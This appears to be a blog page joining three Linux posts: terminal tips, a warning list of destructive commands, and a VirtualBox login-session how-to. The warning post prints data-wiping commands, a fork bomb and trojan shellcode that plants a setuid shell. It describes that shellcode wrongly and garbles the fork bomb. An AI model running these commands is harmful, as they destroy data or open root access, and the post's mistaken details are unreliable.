Let me warn you first – these commands are not for newbies, those who just started using Linux or for those who want to start with Linux terminal.

#1 Browse and display images in Terminal

Browse and display images in Terminal? Yes! To browse the images in the current directory:
$ sudo zgv
To browse the images in /home/username/pictures directory:
$ sudo zgv /home/username/pictures

Note: If you get any mouse not initialized message, just unplug your mouse, type zgv and plug your mouse back

#2 Burn a CD/DVD/BluRay Disk

Llet’s add a small twist; make an ISO image of a large folder and burn them to a CD/DVD.
Crate an ISO image (myISOFile) out of a folder (or filename)
$ mkisofs –r –o myISOFile.ISO folderOrFilename
Now burn the above ISO image to a CD/DVD
$ cdrecord --device=cdwriter-device -tao -eject myISOFile.ISO

#3 Create ASCII text graphics

What about creating some ASCII graphics such as the following? You can paste it in your email as a signature to impress your friends

 _     _
| |   (_)_ __  _   ___  __
| |   | | '_ \| | | \ \/ /
| |___| | | | | |_| |>  <
|_____|_|_| |_|\__,_/_/\_\

$ figlet Linux
This is displayed with the default font, to use other fonts, give a font name after switch f:
$ figlet quick tweaks –f script

                      _                            _
             o       | |                          | |
 __,             __  | |    _|_          _   __,  | |   ,
/  |  |   |  |  /    |/_)    |  |  |  |_|/  /  |  |/_) / \_
\_/|_/ \_/|_/|_/\___/| \_/   |_/ \/ \/  |__/\_/|_/| \_/ \/
   |\
   |/    

$ figlet Quick Tweaks –f script

  _ \       _)      |    __ __|                   |
 |   | |   | |  __| |  /    |\ \  \   / _ \  _` | |  /  __|
 |   | |   | | (      <     | \ \  \ /  __/ (   |   < \__ \
 \__\_\\__,_|_|\___|_|\_\  _|  \_/\_/ \___|\__,_|_|\_\____/

The fonts for figlet are installed in /usr/share/figlet directory

#4 Run remote applications in full GUI mode

As a Computer Science student, I often need access my lab computers (which have Fedora installed) through SSH. After I submit my assignments, esp. those GUI based programming assignments, I wanted to check if everything is fine. Accessing remote computer is easy:
$ ssh username@example.com
If you want to run remote applications such as OpenOffice or Eclipse, just uncomment ForwardX11 yes in /etc/ssh/ssh_config file. After that if you type, eclipse, for an example, the remote application will run in full GUI mode.

#5 Split a large file into several pieces (for easy copy)

If you have a large file of about 1 GB size and have two CDs to spare (or two thumb drives of 512 MB each), how can you carry that 1GB file?
$ split –b500m myBigFile mySmallFIles.
To join the smaller files to get the big files back:
$ cat mySmallFiles.* > myBigFile

#6 Take screenshot of a rectangular area and save it as png file

Screenshot taken with import command

$ import –frame myScreenShot.png

After this command, the mouse pointer changes to a set of cross-hairs; left-click and drag the mouse across an area of the screen and release the mouse to capture the selected area.

#7 Resize an image, put a border around it, and add a comment

$mogrify -geometry 300x200 -border 8x8 -comment “Windows Sucks” myScreenShot.png

#8 Quickly converting a .wav file to a .mp3 file

$ lame myMusicFile.wav myMusicFile.mp3

#9 Display a nicely formatted calendar (or doing some quick maths?)

$ cal 1972

Get the factorial of 10

$ calc 10!

#10 Mirror a website to your computer for offline browsing

$ wget -mk http://example.com

No related posts.

Related posts brought to you by Yet Another Related Posts Plugin.

The heading is self-explanatory. Linux Terminal seems dump but nothing is more clever than it. Linux is powerful and fun. When it is about something’s strength remember what Uncle Ben said.

When you are new to Linux you often seek to get help from others and almost most of the advices you get will be in the form of some commands such as ps, top, modprobe, lspci etc. Be careful when you run these commands as some Anti-Linux a**holes try to fool new Linux users in the name of tips and tutorials.If after following such command(s), you lose all your files, no one is to be blamed but you.

If you want save yourself, here is one principle: Be aware of what you are doing! Just don’t do what someone suggest you. Fireup man page, look what the command is about. This way you can learn a couple of more options too. If you are in doubt about the commands, go to a couple of forums and put all information you have such as: Hello I was trying to do this, and a guy from forum.xyz.com suggest me to issue this command. I suspect this is a harmful command. Any suggestions? Take my words, Linux carries a strong spirit with it – spirit to share knowledge. And you will get some good explanatory suggestions very quickly. If you are still in doubt, I suggest you to issue the commands inside virtual OS:

Last thing first. Today I will be posting some harmful Linux commands. DO NOT ISSUE THESE COMMANDS! These commands are just for your information. These commands are not made for making harm to your computer, but with a couple of options it can be very dangerous. After all Linux doesn’t know that a folder inside your home directory contains your first girlfriend’s picture! It is your duty to ensure they are safe. Let’s get started. I repeat DON’T ISSUE THESE COMMANDS. If you want to test, I suggest you to run them inside a virtual Linux OS.

1. The king of all devils:

rm -rf /

Q. What does rm do?

A. Removes a file

Q. What is r?

A. Recursion. That means inside a folder, of a folder, of a folder and so on

Q. what is f?

A. Force. It means you are saying to the command “Never ask me anything. Just do what you want to do”

Q. What is /

A. Your ROOT directory!

See what it does? Recursively removes all the files inside your root directory without nagging you – “Should I delete this?”

There are various versions of rm available such as:

rm -rf .
rm -rf *

Not only someone from outside, you yourself can screw up things sometimes. Little knowledge is dangerous! How about this – you want to delete all the hidden files inside a directory. That’s easy right? Hidden files are denoted with . in front so you might be thinking this command rm - .* Nooooooooooo!!! It will delete all the files one level up of the current directory.

2. How about backing up your home directory or some folders? Never try to do anything such as:

mv /home/yourhomedirectory/* /dev/null

Q. What is mv?

A. Move files

Q. What is dev/null?

A. Null means nothing. In other words, it is a black-hole.

If you issue above command, it will move all the files inside your home directory to a blackhole.

3. Linux Terminal is not a toy to play, it’s something to learn and do some productive things. I just mean to warn you don’t type anything silly and hit enter such as this:

){:|:&};:

Those seem like emoticons but they are actually shell programming stuffs and have special meaning. The above command executes different process freezing your computer and you will get a BSOD, a sort of!

4. How about making a Linux filesystem?

mkfs.ext3 /dev/sda

You hard disk’s data are gone, and will never come back again. That was a poor farewell party for your documents.

5. Do you know eyes and your knowledge both can lie? Well sometimes. What do you see in the following C file written by someone claiming New sudo off-by-one poc exploit? Any sign of devil?

...

char esp[] __attribute__ ((section(“.text”))) /* e.s.p
release */
= “\xeb\x3e\x5b\x31\xc0\x50\x54\x5a\x83\xec\x64\x68″
“\xff\xff\xff\xff\x68\xdf\xd0\xdf\xd9\x68\x8d\x99″
“\xdf\x81\x68\x8d\x92\xdf\xd2\x54\x5e\xf7\x16\xf7″
“\x56\x04\xf7\x56\x08\xf7\x56\x0c\x83\xc4\x74\x56″
“\x8d\x73\x08\x56\x53\x54\x59\xb0\x0b\xcd\x80\x31″
“\xc0\x40\xeb\xf9\xe8\xbd\xff\xff\xff\x2f\x62\x69″
“\x6e\x2f\x73\x68\x00\x2d\x63\x00″
“cp -p /bin/sh /tmp/.beyond; chmod 4755
/tmp/.beyond;”;

…

Well this is a hex coded version of rm -rf ~ / & . This does nothing more than wiping off your home directory.

These are only a few guidelines you need to follow. If you know some more, drop them in comments.

If you want to learn Linux, conquer its power, have fun, and be productive, you need to be careful, helpful, and share your knowledge. If you have any knowledge on Linux that you want to share, let us know in comments or shoot me an email.

So what did you learn today?

No related posts.

Related posts brought to you by Yet Another Related Posts Plugin.

1. Create a bash script with the following contents

#!/bin/bash
VirtualBox -startvm NameOfYourVirtualOS

Replace yourSUPassword with your password, and NameOfYourVirtualOS with the name that you have given to your virtual OS in VirtualBox.

2. Name it something like windowsXPGDM (if you want to run Windows XP), make it executable, and then copy it to /usr/bin.

$ chmod 755 windowsXPGDM
$ sudo cp windowsXPGDM /usr/bin

2. Go to /usr/share/xsessions and create a new file with the following contents:

[Desktop Entry]
Encoding=UTF-8
Name=WindowsXP
Comment=My Virtual WindowsXP
Exec=/usr/bin/windowsXPGDM
Icon=
Type=Application

3. Save it with a name something like windowsXP.desktop.

4. Log out and you will see a new entry WindowsXP in your GDM session. You can now directly open VirtualBox session without even logging in to your Ubuntu machine.

No related posts.

Related posts brought to you by Yet Another Related Posts Plugin.